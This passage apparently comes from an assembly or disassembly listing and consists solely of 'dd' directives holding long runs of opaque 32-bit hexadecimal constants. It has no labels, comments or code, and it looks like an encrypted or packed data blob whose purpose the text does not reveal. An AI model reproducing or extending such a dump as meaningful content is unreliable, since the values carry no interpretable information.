1F62A32Dh, 3EF08C5Eh, 7D4D4C4Fh, 6859B530h dd 94933F36h, 143C0508h, 1A84FB54h, 7FA1450h, 0DFF696FFh dd 5DB51B2h, 0F55D0B5Dh, 68850874h, 18E251A6h, 0B26AA44Eh dd 1A850B02h, 0B2BE6E9h, 79967D78h, 3322942h, 0E0E6385Ch dd 8098AC20h, 847087BCh, 0E2B15103h, 985DF180h, 3CC09BE9h dd 0C19805E1h, 888E06C8h, 0FC27CF7Dh, 12E472CDh, 0BE22859h dd 0D3D9D9E0h, 4B56668Fh, 95BB5821h, 45BD196Eh, 594013BCh dd 0B8333687h, 0D9E8251Dh, 939717EBh, 479DA66h, 4E30482Dh dd 5916F6F7h, 8B6E23Ah, 0E9D78809h, 0DCB4E2AFh, 0B142CCB9h dd 4575F84Bh, 1EA80F80h, 0C7C606Ch, 2E97301Fh, 0B52BE912h dd 0A92A0AA9h, 365B4A8Dh, 0CE4E6CDDh, 0BC213EDCh, 12EA102Ah dd 0EF715159h, 0DA28476Ah, 0A51DFAA1h, 0A0C6E40Ah, 0C125026Bh dd 2C7BC12Dh, 8AC03F4Dh, 60413B2Eh, 6B3C1831h, 47BC57EFh dd 278DC281h, 502A35E2h, 5E16081Dh, 87900421h, 0F3061D4Dh dd 8008D6F7h, 24FB54ABh, 2712AD15h, 0BCED2723h, 313DF7F0h dd 15DEF0Bh, 448705FAh, 0C0096260h, 5A84780Fh, 28D74938h dd 155FD421h, 0CBDB6022h, 0E12F7C9Eh, 2230E378h, 2B06C351h dd 47F9D828h, 694B3E31h, 562362DCh, 0A65FC40Dh, 1EEB0326h dd 0E60AD64h, 2913300Ch, 0E9082A5Ah, 190C3408h, 1B38814h dd 49305FB4h, 5BBDF4E4h, 53B5329Eh, 0F1A913CAh, 1A77179h dd 5E9E051Ah, 7646E32Ah, 3E95E201h, 0B850776Ah, 0C0A04D8h dd 58C23156h, 48301083h, 0F230C05h, 1201A34h, 809BAD3h dd 0A9294B89h, 2F4B88D6h, 0CC4BA682h, 0D3B904A4h, 801D9548h dd 4E3C5802h, 0BB803D5Bh, 0B0C44469h, 0B65120F4h, 9B1FE0BFh dd 0F7D68296h, 9D5E646Fh, 0F9A53E4h, 81226D19h, 13034E82h dd 0B0C9A281h, 8262C94Ah, 687BE05Eh, 7E914228h, 88C4691Eh dd 0EC9A47B0h, 5F00FAF4h, 0C21D702Dh, 0D0D0297Ah, 5030868h dd 270C1F2Eh, 0DDC8AAACh, 86A8A801h, 0E91492E1h, 0B2BF131h dd 7505ACB7h, 213D5641h, 6B362D12h, 0A35AD7CEh, 6AB44F67h dd 4E142668h, 8548696Dh, 0C08219A4h, 8351718Eh, 350C3AD9h dd 9C02BC4h, 5F3F0EF7h, 0C9C1337h, 77F3D414h, 0F7F3CCBDh dd 3FF0F2E6h, 0C19F478Fh dd 1F02E46Fh, 210E434Fh, 174C153Ah, 17AC1778h, 1921788Ah dd 795B708h, 0F9796855h, 63A565D1h, 9DD884ABh, 31355ECDh dd 6F5801CEh, 0D8B28777h, 0BA8443Ch, 51E40B31h, 0D9108102h dd 50797C0Bh, 0A9835477h, 372B956Eh, 0BCCCE48Eh, 11B14B65h dd 29EA297Eh, 0C2652A22h, 0D2C15C2Ch, 32A5D02Fh, 0C83FE405h dd 98C0DD84h, 777A68CCh, 0F4697BC4h, 48E3BD13h, 28810E25h dd 0CBBABCC3h, 0B7F8D8h, 0F6CFFE05h, 95EF80D7h, 888A06C7h dd 52665BB1h, 832B5CF5h, 76F75AC2h, 3812480Ah, 0C4715E9h dd 0FE29C188h, 545925CCh, 0C934C172h, 0EFC48000h, 58E18818h dd 2C080F8Eh, 1CC35BF9h, 0A1C814B9h, 0AAF8C4C9h, 2697E5BDh dd 94B5099Bh, 64EF1AF4h, 0B80F1507h, 47DF7A01h, 0B5AC32Dh dd 5B016EA0h, 525B30F8h, 6C046368h, 4A5A1CB6h, 0DA4067D7h dd 4E94E923h, 7BAD31F7h, 853B57C2h, 570FE022h, 3E007798h dd 0BF176925h, 30612DA6h, 8174291Ch, 0F369A7EFh, 22ED78FEh dd 7C22AB97h, 78D18279h, 20773995h, 0DEFF82DBh, 0E5972C4Ch dd 954169Dh, 3728B394h, 4168E110h, 0D0CC6B38h, 0B89DF631h dd 1FE917D6h, 3355A53Bh, 0FA9E2EC6h, 7F83AD82h, 97CF620h dd 0D65A3C8Fh, 0B128FC00h, 46E38109h, 76BC0961h, 2E50DBE9h dd 3C51BA0Ch, 0BC2FAEDh, 327C2094h, 4F260E00h, 60977F7Bh dd 139CF231h, 104D8223h, 0D52E8B48h, 5BDA5827h, 4009ACCBh dd 2FCBFD6h, 4F495A73h, 0AF80D7F7h, 2AAA45FBh, 0F0409724h dd 0D5F68930h, 68ED0CD0h, 1ADD220Eh, 43EBE241h, 0D0589418h dd 0B0A9B27h, 8CBE65CEh, 93417C1Fh, 900BFC46h, 4DA32502h dd 3FE091A0h, 0CC14B2Bh, 4F0794CAh, 5A5E4270h, 0FAA89529h dd 0AE345E20h, 5E009C0h, 0D907392Ch, 946FF458h, 63D981B3h dd 0D03D6848h, 5F936491h, 191C58BEh, 5580D9FDh, 4DBE1C56h dd 810DFB17h, 2A0D49F6h, 0EB01EAC1h, 7F0C923Fh, 5200C27Ch dd 0C6FE6EB6h, 80E63AD0h, 2AD7E77Eh, 0BEC4DF82h, 92539FBFh dd 54BD42F0h, 5E05059h, 0B43F1C73h, 3F71190Ah, 916FD3B3h dd 2A92E064h, 0CBCF334h, 467EDD25h, 13229425h, 49BBA6E9h dd 5450D67Fh, 6D6C1CD3h, 9ED9C0Ch, 7E535854h, 98B591A0h dd 2768E70Dh, 0F1187BA8h, 4F2E62B6h, 0B21AF725h, 0A910D50Dh dd 6B0696Eh, 940259B0h, 29AE1B96h, 0A54C65DFh, 64A72167h dd 0A7282005h, 29F02BF3h, 0F3445EAAh, 54521312h, 0DC418F2h dd 0C383B435h, 96515617h, 249C1509h, 8CE82975h, 0D00C9912h dd 5CC40547h, 4D28B162h, 0C9967542h, 284B0242h, 8215B583h dd 5AE913E9h, 53BE6B85h, 38C048Ah, 6C8A04DEh, 0E87C8805h dd 0DFB19291h, 2B24297Ah, 494198CDh, 8D7BC583h, 7BCA312Eh dd 72869FDCh, 0F6C31BDDh, 101208D0h, 93C08DE9h, 7764C5B8h dd 432D0563h, 0AC79A72Ah, 3A860596h, 85ACB6BCh, 9456F24Eh dd 0FCE42082h, 69C0BF1h, 600077F8h, 3F98502Bh, 761418C2h dd 7F9268EDh, 9F8426B8h, 2FD32E16h, 0FAA81E60h, 975A5480h dd 54DA1E41h, 64CB04B9h, 425C0B1Bh, 20C8586Ch, 0B79154h dd 2DD82990h, 356E1245h, 2FAB0173h, 0F5224678h, 103862D0h dd 5F32CA86h, 68014C62h, 0CD38225Bh, 0D86331C5h, 0E34D388Ah dd 0AE93846Ch, 5AD38801h, 0D8DAD152h, 60EF3857h, 81B40927h dd 1FD0EF3Eh, 5D84526Eh, 9380EDD1h, 7110C8Eh, 0EB8953DAh dd 28D83650h, 77F72740h, 97A4ED9h, 69165858h, 10E9454Ch dd 2904AF2Ah, 0AB535FFBh, 27E924DCh, 4BF3424Eh, 108EC52Dh dd 0C021C4C7h, 0D830AC00h, 14F9C68h, 9E9F14CCh, 0B7CC3F46h dd 88535105h, 0DCB7A4E3h, 90A1EBEEh, 32CD2E10h, 4B69CB2Eh dd 9A58A7A0h, 401AA0C8h, 7A31D3Ch, 0A17EBC01h, 1E805808h dd 1EC526CDh, 0A70B305h, 0D9E90C0Ch, 564EB91Fh, 6E25D190h dd 28CE8089h, 16C15C4Ch, 0BCA35182h, 5A280C96h, 0C2602655h dd 69C7C39Dh, 8A055B1Ch, 0E8344B53h, 0D09C4A92h, 0DE012737h dd 55641166h, 30EA12A8h, 255E2DC2h, 417BFA26h, 1C070514h dd 7FB0F2E9h, 7B6388C6h, 0C40CCFE6h, 583B16E2h, 834FC05Ah dd 5FBAE6C1h, 9D6D4FD4h, 521C0F64h, 894B762Ah, 4B05F1CDh dd 58A29700h, 311245A4h, 9C0759CDh, 2BD1208Ah, 372BA5E9h dd 0E20582BDh, 0CE0024F2h, 1DE43D58h, 0F308EEC1h, 4862C3CCh dd 0DD3DD91Eh, 61EFA24Fh, 0FA700356h, 9A81CCFFh, 0FEE22168h dd 45E3628Fh, 0ACB0C005h, 0F2ABE54h, 0A2E6D131h, 2C4051BCh dd 0B563968h, 16E4B4DBh, 0C1C31F12h, 55D0A509h, 0FE605582h dd 7020C07Ah, 6239F6B1h, 595B0A8Fh, 5F6AB2D7h, 0F70516BEh dd 1B7768F9h, 0F2562E3h, 4D953750h, 15E904E9h, 0E481A950h dd 568C10A9h, 6B18A148h, 10EE3993h, 33112054h, 9F71F23Fh dd 0E949FC59h, 2FF7FC4Fh, 259AAD30h, 78BDD82h, 0F8BE7C46h dd 27E1CD16h, 7B13D93Ah, 8D09FF89h, 0D573213Ah, 7D4822C4h dd 14742317h, 4F1FEBB0h, 0E0A4242Ah, 3EFF8B4Fh, 9B604121h dd 2AFC9D7Eh, 51B023h, 283B67E0h, 0FD7DE959h, 58072FD3h dd 0AFB98937h, 0CD88C4F2h, 0FD6021EAh, 0B06800F9h, 2C18970Ch dd 72252C6Ch, 80F37C45h, 23410CC3h, 0FB5A017Ah, 9879A861h dd 0F5662D6Fh, 58963CB6h, 9EC58EEh, 82F3287Ah, 792408E9h dd 4E662020h, 0FDB14B01h, 0EC68A7E0h, 610C7A05h, 9503BA5Eh dd 4D4A1A13h, 800C0ACAh, 670671C4h, 8BB7DFF6h, 78EDD67Ah dd 1969F8E9h, 0ED1105EBh, 28780D3h, 8EB6EBD6h, 22F592B1h dd 4C26600Bh, 0DA45BD3Dh, 0A00B7125h, 7EF84186h, 0F5E01FC7h dd 7EEC1F44h, 0A2904941h, 0BFDB835h, 0C28BF871h, 0BFD6CA2Bh dd 0F26145B8h, 0BFC098A5h, 0EA177E6Dh, 0C1434317h, 3B33C104h dd 30185EB4h, 23070C34h, 27B98326h, 1303AF00h, 90DE2906h dd 0E908803Bh, 44FE4C1Eh, 15B1F781h, 6CABB7Ch, 0EE3E334Fh dd 4547309Bh, 0CF0BF6E5h, 0A4AF7C3Eh, 7E2425F7h, 65F6322Fh dd 3D2AAC16h, 0AE701C84h, 5A05F36Dh, 0E9082FE3h, 800E3D8Bh dd 0C9FEA4C1h, 0B3E291ABh, 59601724h, 9D14EF4Ch, 0C9C20B08h dd 43730D82h, 2462BE00h, 0F72C0FAAh, 6FA546D6h, 681E4F9h dd 0D97C392h, 1ECDC47Bh, 0F7202471h, 6E021870h, 58946E54h dd 57A4F500h, 2D65C0BFh, 4D7DB018h, 0B51084A6h, 0ABE76F8Ch dd 0BF38C0B1h, 6721074Eh, 0C4F9091Fh, 2778A896h, 956E7866h dd 5F8C309h, 0D161E95h, 0BFDCE95Ch, 9EC52E39h, 0F74E65CAh dd 0A9465F52h, 2100516h, 74386AB9h, 675894Bh, 2D11665Ch dd 264985E9h, 119E42E7h, 4D62903h, 0A75B9352h, 84D5875Fh dd 97AD0A23h, 7242C101h, 0F62E010Ch, 160B5829h, 5A35A005h dd 46FBAE0Bh, 653ABF1Bh, 5ABCD04h, 0AF3D021h, 0B222D01h dd 0D848270Eh, 0C916EDF0h, 4B0509F9h, 73BA2C7Ch, 0BEE1EF17h dd 26417F9Dh, 23942296h, 0E501C73Ah, 2174D20Ah, 0CC162B7Eh dd 0B8F94DB5h, 0D281DC54h, 0CA2ACA69h, 0B5510F65h, 0BB22E670h dd 4FA297D1h, 748EB72h, 0A0BB8BAEh, 21ECD809h, 768068B1h dd 0CDA8C3Fh, 70D5020Bh, 4B397205h, 2B6B9857h, 55F1A13h dd 0CBE9BF45h, 0EE4C44AAh, 63A2D76Bh, 0EBC997C3h, 18822AC5h dd 0E920408Dh, 417BE348h, 2A294A82h, 0C7856B38h, 0CC111CEEh dd 0F41E06E1h, 3FB15E0Bh, 9B8B0142h, 0C832F13h, 0AB2509E2h dd 0F1B7D193h, 6EBE3DE9h, 1E550BDCh, 575327BDh, 90A31747h dd 3D45C695h, 17D0F1Dh dd 740426B0h, 0C0394EFAh, 0B6B9F5E5h, 76BB0A25h, 0BBA81500h dd 0B4B3D050h, 0ECB50016h, 0F604E5C0h, 0C5FEDD09h, 0F0030B80h dd 0B2521E8Ah, 0DFCADF95h, 0CBC2DFDAh, 0DC05ACEAh, 0A2C096A4h dd 2F98CFE6h, 70BD62FDh, 0E1D4381Eh, 59B774C9h, 4A60286Ah dd 653C1698h, 0A727015Eh, 80050B64h, 0DE25E640h, 4B8505Ah dd 5FE98A89h, 2821AE29h, 4102A6C0h, 123EB38Ah, 4E67B80Eh dd 4A818ACCh, 9EC92Ch, 4B50F9C5h, 7A29622Eh, 5A03194Eh dd 0CD722FA7h, 50F29197h, 5FEA6621h, 96062413h, 5E16451Fh dd 0D1B6956h, 0D027997Eh, 0B16E90CBh, 0E5EB49CDh, 57C62FE9h dd 0B4F56782h, 3032C7C1h, 22F021B8h, 1CF90134h, 71C081Ah dd 78C55F14h, 9BD12F0h, 2D31592Ch, 0B3E60D05h, 0B517105Ah dd 0CD685B05h, 0B0E3CC4Dh, 0A7C79ACAh, 6854518Bh, 971C2CC6h dd 24C15C99h, 4305BF14h, 4754BC6Dh, 0B07BC6A1h, 7A126C4Ah dd 2D04CE9h, 3B161CE5h, 0ED021458h, 8BE4A73Bh, 0A8B8B7Dh dd 0DEA55E1Bh, 0AF70E4F7h, 773C314Fh, 0E984C5A6h, 689090FBh dd 0AC3D7A42h, 626D251Fh, 0ECCAC0ACh, 0CD5D8AB0h, 0E9F9B0D8h dd 8FB91A68h, 0C37ADDA0h, 1829E22Dh, 2E48F31Bh, 2080DEDh dd 1BA1A03h, 8434500h, 0D029763Ah, 1C68081Ch, 52A42214h dd 6618635Dh, 8948CC8Fh, 0DCFE0180h, 0D5642B0h, 1A7F5F6Bh dd 0F98781F2h, 43FAA639h, 82A41F4h, 135BE32Fh, 8E492BE9h dd 2E1465ACh, 9A186CF8h, 7D210201h, 0AFE9D129h, 0B25A746Ch dd 515BC5F4h, 977BECB8h, 3B4A49D9h, 0EE570918h, 20D80B1Ah dd 0FA8201B2h, 7244B3B4h, 5268BA05h, 689D313Eh, 5D27DC42h dd 81256E6Eh, 0B8BD9EFh, 0DB769151h, 0E6CF126Ah, 4F67AE7Fh dd 0ED8BE5EDh, 273178CEh, 0FC5D8958h, 0AAEC8CFFh, 200BC72Fh dd 802BA310h, 6D055DC8h, 0CD294130h, 0E32781EEh, 38CF689Ch dd 1739F3D8h, 0B14E6551h, 27F2F05Dh, 10623B9Eh, 6F687437h dd 1B779249h, 74DBCA54h, 0AF7625EFh, 7DE668C1h, 0BAF346Ah dd 7C4279E8h, 0CC873E61h, 47B09BE3h, 8020D430h, 5C66D0F6h dd 0B5137953h, 2D590C90h, 1A9FE547h, 8FAF40F4h, 6F8203Ch dd 0F240600Bh, 62DD891Ch, 0C93AC08Bh, 0B322616h, 120716A9h dd 0C0C61C62h, 3CD5671Bh, 10C14149h, 0AF5EDEC6h, 80D4C330h dd 8072C7FEh, 0EF14BB73h, 17A330F6h, 5434D7E4h, 0E97B0EF8h dd 5E6D847Fh, 0E863934Fh, 84F65EBCh, 98DA5E25h, 791FF825h dd 810165ADh, 4D15A6Ch, 87008CBEh, 43AF5C81h, 0D3CF4FA2h dd 12DCDB09h, 0A513BFEAh, 0DE6819C0h, 5199C409h, 8E101399h dd 0EF881BB5h, 0C2FDA3ECh, 9C96C15Bh, 9671F5CDh, 0A4389931h dd 0D0C330C5h, 0E1E6E919h, 0C41098BFh, 4AB32815h, 402502CDh dd 77E9195Ch, 54B0458h, 0E9B1A1FCh, 4A5628D1h, 0E8A4D4F9h dd 9F8A4F86h, 5DB9704Fh, 0C4DFF55h, 0F0ED054Eh, 0A4819362h dd 2366CD15h, 29C7B410h, 54A5CC56h, 5C4FD36Ch, 95EE30CCh dd 0CAE99CE8h, 0F080ACABh, 0B62E525Ah, 910EB53Ch, 0C1076EC0h dd 11E945F6h, 0E28283BDh, 49E56808h, 9E9080A2h, 0FCD1F702h dd 0D251472Ch, 0A9D74312h, 4FDD40C5h, 8E882D91h, 0BE0E0678h dd 240F32FDh, 58E2CE31h, 5CD882C6h, 78610997h, 9CEA2720h dd 0C600E792h, 6D4E7149h, 484A37FCh, 94AE7DCCh, 0C6002598h dd 22424DA6h, 0E0D35B0Fh, 5444C968h, 20E46397h, 0DC517912h dd 2AED869Dh, 5371523Eh, 95FA05C6h, 222522Bh, 0A00CACE9h dd 42A85F40h, 74BF6BCh, 0FBC9ABF1h, 9E3A4E4h, 0DA18B3E3h dd 0FDF560F7h, 7AA165A3h, 0B65B1FCFh, 415E763Ah, 44AE8BD4h dd 0F908CAB5h, 33C81EFBh, 84D7719Eh, 1CB92040h, 0B537DE1Bh dd 0E181FBA0h, 0F835362Eh, 70021158h, 619FDBD6h, 1E33C49Dh dd 68EF424Eh, 0A4B039FCh, 79956F53h, 2A5C4B8Eh, 290911EAh dd 0BDAEF3F9h, 0BA3A5C92h, 4F462861h, 0D0F4E407h, 0CFED05E7h dd 0EDC4E62Ch, 0F176A702h, 6079F94Dh, 7854282h, 0B0A0789Dh dd 82AC9027h, 4E89D70Bh, 832B350Bh, 80C93FF6h, 9B48AC80h dd 2C2D0470h, 0BB0A3F6Fh, 70BAEC4h, 53ED205Dh, 2C06C868h dd 86B2E40h, 211EC003h, 0BC4BBAE8h, 0A89318FCh, 60592CA6h dd 0ED74AE01h, 0E8040156h, 7C4BD32Eh, 77FB6269h, 4956B532h dd 0C90555Ah, 0AD4A39E9h, 997EE389h, 22F6F9A7h, 95A1926Fh dd 682FC93Ah, 6F31258h, 8665FAh, 0F03B7B71h, 0CA07812Ch dd 4B7D7282h, 0E8F7EA63h, 0E016FFDh, 0E7685AD7h, 0B4FC73BBh dd 0D295EA90h, 3C5D584Eh, 3E290825h, 8488CFA2h, 3E73680Ch dd 277B6938h, 687943C3h, 72502C3Ch, 0E46656A7h, 0AE98EA5Bh dd 83D9B9BFh, 0C978DFC3h, 0EBE3A0E5h, 8BE908A0h, 5C13E2BEh dd 0E75BBFB2h, 0D84D6D6h, 66ED2DAFh, 0CDEB00EBh, 0E9289E79h dd 27DA5BC7h, 0B4E58490h, 0F907C9CEh, 50206511h, 570118C2h dd 0A628CF66h, 981777BBh, 0A7040A62h, 550EBE35h, 95C1D4CDh dd 6792422h, 45254358h, 37B60A0Ch, 207F12EAh, 140CD008h dd 0A04CE912h, 500C5A57h, 0D880CCB4h, 864A5D68h, 102EE97h dd 0EAA0E9CDh, 76235713h, 419052A6h, 7C908950h, 0CE46F527h dd 9583B0D6h, 1A68D248h, 81D83249h, 1F8A1296h, 328BE015h dd 1BF9A40h, 3CDA6A99h, 2458B168h, 0E2BD3F2Fh, 0C98DD445h dd 1CBD2710h, 633AD997h, 540AE5A1h, 0E754535Bh, 0E1DFE4EFh dd 533E928Ah, 8BF81026h, 0DFE6C601h, 808E9695h, 83277AE6h dd 0F48BEAECh, 3B685703h, 0E8ACCC59h, 0C7D3DC8Ch, 0FF3AE7C3h dd 4500F39Fh, 42366F33h, 176725E9h, 65BA126Bh, 1B889C8h dd 804266B7h, 4C8C05C8h, 0FF18DF90h, 95EDD3CFh, 246A710Bh dd 0A01AF151h, 4EC40981h, 13124DC6h, 6E9F080Dh, 4DE91D3Ch dd 201D1580h, 52C0D2E8h, 24CEE86Dh, 5D97D702h, 0B20ECBA9h dd 909AA7Dh, 0F60B375Eh, 7F70B0D1h, 414CBF9Eh, 46145C27h dd 570B20ACh, 0F96CE916h, 204CB9A3h, 0A9108E34h, 910CE658h dd 3247250Fh, 0E03FD5A9h, 0AED8065h, 707D7E2Ch, 8CE85E78h dd 1F2AE992h, 180BC5F7h, 24B254Dh, 0FEB2D5FBh, 7763A52Fh dd 6C2F6EC8h, 7E0AC5ECh, 0CC04984Ch, 0A7A67627h, 4D2AD170h dd 0E19F83ACh, 69DE8A6h, 54C389CEh, 0D4F733F0h, 0BB2E6852h dd 0B460F70Ch, 0EE288D1h, 60B35358h, 41F9BC12h, 6E52AFE0h dd 40115D29h, 81C82D75h, 97C0E619h, 0E31A4B11h, 61138004h dd 4CDFFDEBh, 0A25ABA01h, 0A68C21Dh, 0E949A344h, 304B139Bh dd 1834E2E8h, 681685BEh, 8C034ACAh, 0FFD6758Eh, 64BE4A01h dd 69203543h, 0EC30260Ah, 0FC560956h, 4317CDF3h, 0E9091FA3h dd 7B5CE53Ah, 0CCAE5267h, 0CCB59F1h, 34E6121Bh, 491883D4h dd 210C7411h, 4FF37692h, 16782C53h, 0F7E30295h, 87D8C0D2h dd 70F85C1Dh, 438EA79h, 0E7C16B04h, 0F1328707h, 831A0D03h dd 1B7D7B0Ch, 0B3EFE013h, 3FCB2C8Ah, 12E6028Ah, 70D644A9h dd 5AD3543Ch, 10CA3501h, 0D0F7764Ch, 4809F21h, 0D41ED2Dh dd 0AB390560h, 0E9DD894Eh, 95E558AAh, 83043394h, 0B5E902C5h dd 412CA5A8h, 89031E39h, 48002AF2h, 207D6D37h, 0E918059Ah dd 582AC86Ah, 5FFA3931h, 37ACD0BDh, 81C09760h, 4418F2Dh dd 0F8BB8C82h, 68AD0989h, 0E9B23302h, 294A82F2h, 0C71003F2h dd 55A65F42h, 9CC8840Bh, 6B80C786h, 7003EA2Dh, 2BD6201Ch dd 11F5810Eh, 45070677h, 1771090Eh, 9D765AAEh, 9F0F1828h dd 0B44AA24h, 59E206Bh dd 4FB245B0h, 725F138h, 74AFC007h, 5B5F3AFDh, 24970BE2h dd 21C2BEB4h, 27F57690h, 8909E95Bh, 5A65DED0h, 25A96F5h dd 73385BD3h, 0FA40E2C1h, 462F01CAh, 10370C6Fh, 7C681643h dd 37930027h, 0F72CE013h, 0DF0BD8BEh, 0E99E021Eh, 5935691Ch dd 66664B6Eh, 117ED909h, 35F7DD16h, 0C453572Dh, 6602B1ACh dd 7E3E1026h, 0D99D8209h, 0E1EAC1EFh, 33734C75h, 8173865Ch dd 2E0A07B8h, 2DF1724Dh, 204652A4h, 39F46D70h, 49F39A5Bh dd 841A939Fh, 5C80C127h, 0BF302B60h, 48290C63h, 500D07Ah dd 0C11B5E13h, 48B006E3h, 0AA17C4E0h, 56A053BCh, 911E01A2h dd 3E95F37h, 3C563290h, 1E725D3h, 2BD6874h, 596E53Dh, 0EA99D59Bh dd 10EA9D25h, 6601B37Ch, 0E909403Dh, 4BA02C2Dh, 0D900EE69h dd 58D12D2Ch, 37046D44h, 0C2052050h, 6E6A18FCh, 577D4CCEh dd 16C5E049h, 0E5F1EF83h, 0E8677A68h, 0F238307h, 0D1591009h dd 0C0055EEBh, 2747A1C3h, 51E90A0Bh, 8928F1D8h, 22D605AAh dd 4045ADBFh, 9F6F291Ah, 6DB5307Ah, 4E8AA03Ch, 68AF3022h dd 32022ABEh, 0E5C15D3Eh, 0F1B84003h, 4F917355h, 8465BC89h dd 0CDFBE821h, 508A2864h, 390B7532h, 8BE97138h, 9046CB46h dd 9533592Dh, 13EED085h, 2FD68D08h, 0E2268064h, 0E9EE17D0h dd 5B3245FCh, 8E548251h, 9BA05E04h, 7CE12F68h, 0F9252BC5h dd 0AE9E19Fh, 0E0372B2Ah, 218C493h, 56D2D12h, 0F760113Dh dd 2E266CFCh, 5F00E209h, 0E9736286h, 216EB619h, 44BFE530h dd 0C45FF7C7h, 0C0CA02D0h, 76616391h, 1CB22047h, 3E85FA41h dd 13FD6856h, 4F9B862h, 6DF97431h, 4EB4D61Ch, 0BD43557Fh dd 29B11F9Ch, 0F5DE4EBh, 38C0B73Fh, 9036A568h, 977DD8B0h dd 0E97A12BAh, 9A653B2Dh, 94E94B9Dh, 24CF2CFBh, 0C361870Eh dd 0E932C166h, 0F33A954Eh, 2ABF80A1h, 0F022D51Ah, 9EBAC9FDh dd 17B3B4E0h, 0AFDE283Ch, 0BB381382h, 11CD0B1h, 315D25EAh dd 0A1688F68h, 0C525EFB3h, 0AE65A946h, 0A7124207h, 35EA0500h dd 0A8764E9Ah, 0D40741A0h, 112E1B90h, 0FE444A63h, 1FB7C791h dd 0B688B4DCh, 2465A50h, 4BD6AE8Ah, 6804C444h, 1986C8AEh dd 10B4065Eh, 0AB85527Bh, 0C4D8BC96h, 4EABF3E9h, 88E9C657h dd 0E1222D12h, 5205929Dh, 7FE5EF05h, 46A89909h, 0C6E5A098h dd 0FD588098h, 7D506804h, 0C3BA32E8h, 7ACF0895h, 57A6BBA7h dd 0BB5A9394h, 0A7C46664h, 56D6A5F5h, 0CFD826F7h, 905E165h dd 0A0211A6Ch, 682FDE68h, 0FA8A500h, 0CF90FCD3h, 46F2815Bh dd 0CE656335h, 0E9D10707h, 974A7FF9h, 71116809h, 0D6B1A5Ch dd 0A43B4D5Eh, 14B48D22h, 0C4CCDB23h, 14A74E68h, 0E9B08959h dd 868033F0h, 96F2EED5h, 11102FA1h, 0F1835FC9h, 9C28F672h dd 1421AA93h, 18807C20h, 7008F8BDh, 7B953177h, 0C18100F0h dd 2E570C0Dh, 5B05C6B8h, 11FA775h, 6B432DEEh, 8EB3203h dd 0A7E9F028h, 0BA9B9D8Eh, 584BDCCAh, 0EB80F380h, 0FB5A3826h dd 0F76851C0h, 84A59142h, 0B1A3E950h, 0E4286C71h, 0D6854DEDh dd 8209255Ah, 0CC5F30CEh, 0AC2D5C44h, 0FB3EC99Fh, 2AE8FC90h dd 0FA0FA726h, 92C1D625h, 907B35Fh, 7708E8C1h, 0ED741109h dd 58870D6Ch, 9726AEF5h, 7151A538h, 25CEC54Fh, 935017A2h dd 212FE5ACh, 2B8A05Dh, 96F6D15Dh, 94FE0357h, 26752F45h dd 9A25A1B4h, 5BEF5DF3h, 8C6CE904h, 75545507h, 5830D05Ah dd 6D4D7568h, 9DC684AEh, 97A2BDF8h, 0D2BEC3AEh, 3BD4A57Bh dd 0BAEC27A5h, 0C317CFA7h, 3CB249E1h, 0F1F22A5Eh, 2F59E9A0h dd 2CD1C595h, 0D214893Fh, 7AC00C6Ah, 47F79635h, 0D04AE4C1h dd 11CC6837h, 0F364D096h, 9CF8FE95h, 4D1D678h, 0A90EF16Fh dd 19812C92h, 39314DA4h, 4043D1Ch, 1D9C93E3h, 0DC023DA6h dd 0E9038750h, 2CCC12Ch, 74D65CF7h, 6C9E152Fh, 715D0B00h dd 0CE35484Fh, 5942630h, 0B9951358h, 8F6865Ch, 0F6D748B1h dd 8B5F929Ah, 7AEAFEDBh, 9D94E477h, 0BAAED145h, 0C3802E00h dd 0DDE328DFh, 62E945F4h, 0FFE52ECh, 5E906163h, 138689E0h dd 0E8F522FBh, 5E2925A8h, 3D60823Ch, 0C3583C6Ah, 0F418CDF3h dd 0E3B56CD9h, 0C3AD9881h, 31EB2D2Dh, 7DB0D1FAh, 9050DD40h dd 26583D60h, 165C5DACh, 0E48B8D0Eh, 0D9A82ACh, 561AC358h dd 522E5141h, 0A4D9019Bh, 6A67F69Fh, 91E2C3h, 841E99D5h dd 0E5810148h, 5F235D5h, 0F5C0D7F7h, 0DA98EB6Ah, 8AEE012Ch dd 39F11F45h, 9584CD3Dh, 4BEECADEh, 134CC6B3h, 66599A05h dd 0ABA30B75h, 0B10035D0h, 80C9FEB8h, 6A30D2C1h, 8B47DCCFh dd 7AF8E2D1h, 91D8FAF5h, 284E2D05h, 8FCAE21h, 0B7F48F40h dd 5ADEEA89h, 0EF08C7C4h, 0E509674Ah, 58479D9h, 8B03F068h dd 0AE604A6Fh, 9567BD68h, 5FB9ADC6h, 2EC16F2Ah, 770D46A1h dd 7FF80C80h, 0B6E913BCh, 0A7FBC597h, 0E90430C5h, 74D920F8h dd 1030E23Fh, 0BE0678E5h, 0D622116Ch, 76C4E60Fh, 0C2C12EAEh dd 61464E07h, 0A7263059h, 0EA028B05h, 79498115h, 37B03F1Ch dd 35E002D1h, 0F176277h, 59EE067Dh, 37BC00D6h, 9C6854E3h dd 0F2FDABCDh, 67891DE3h, 389F6B80h, 8EDBBA69h, 4F963225h dd 8176A7B8h, 84316642h, 0B940677Eh, 212A58E8h, 0F4C98102h dd 542E221Dh, 13C1016Bh, 4464E87Eh, 6F7EF181h, 0A210C1DAh dd 0D10507DDh, 444F545Ch, 30D990A9h, 0C2F6C73Fh, 58021042h dd 0DF594153h, 0DE4726ADh, 0B5894726h, 98BF979h, 0FDFCAD68h dd 3E64BC3h, 0CE57EDA1h, 8EDA2219h, 0B2745DCh, 0EDF80FEEh dd 0C040BD2Ch, 2FE3BFC8h, 69F9D909h, 0BA21E9E1h, 52EE44A6h dd 9A2D5854h, 1DD68469h, 0C9E88994h, 49139B04h, 920BBD25h dd 6A12C582h, 1383FEB4h, 358A0C1Bh, 0D0C81A06h, 20132AB0h dd 0B905DC7Ch, 36F92D47h, 7F593C82h, 0C8D6C789h, 68B0B773h dd 995D955Ah, 0B9C2023Bh, 0C455D7E0h, 411EA56Ah, 28389268h dd 52538023h, 0B59FF9E9h, 14C4B3C6h, 9AB3798Fh, 155F5789h dd 8413A3CAh, 0BBF7FFE9h, 7AA28B56h, 0B087CD13h, 25BA9FCBh dd 5CE0E899h, 12C8BF0Fh, 61602668h, 76E827h, 263014B8h dd 2DE03B19h, 4B657909h, 78E8518Ah, 6EB94230h, 115F3F18h dd 0B2397016h, 344C2CD5h, 0C158E14Fh, 4A6006E7h, 0A49F1245h dd 0DB9A00D0h, 14C0234h, 8AE5FA4Dh, 0DE270DB8h, 0C444167Dh dd 8064C430h, 9BC0C69Dh, 0C29D3273h, 36985D01h, 20946AE9h dd 14AFC780h, 95293043h, 80B3E42h, 896FDCD9h, 0F213D5BBh dd 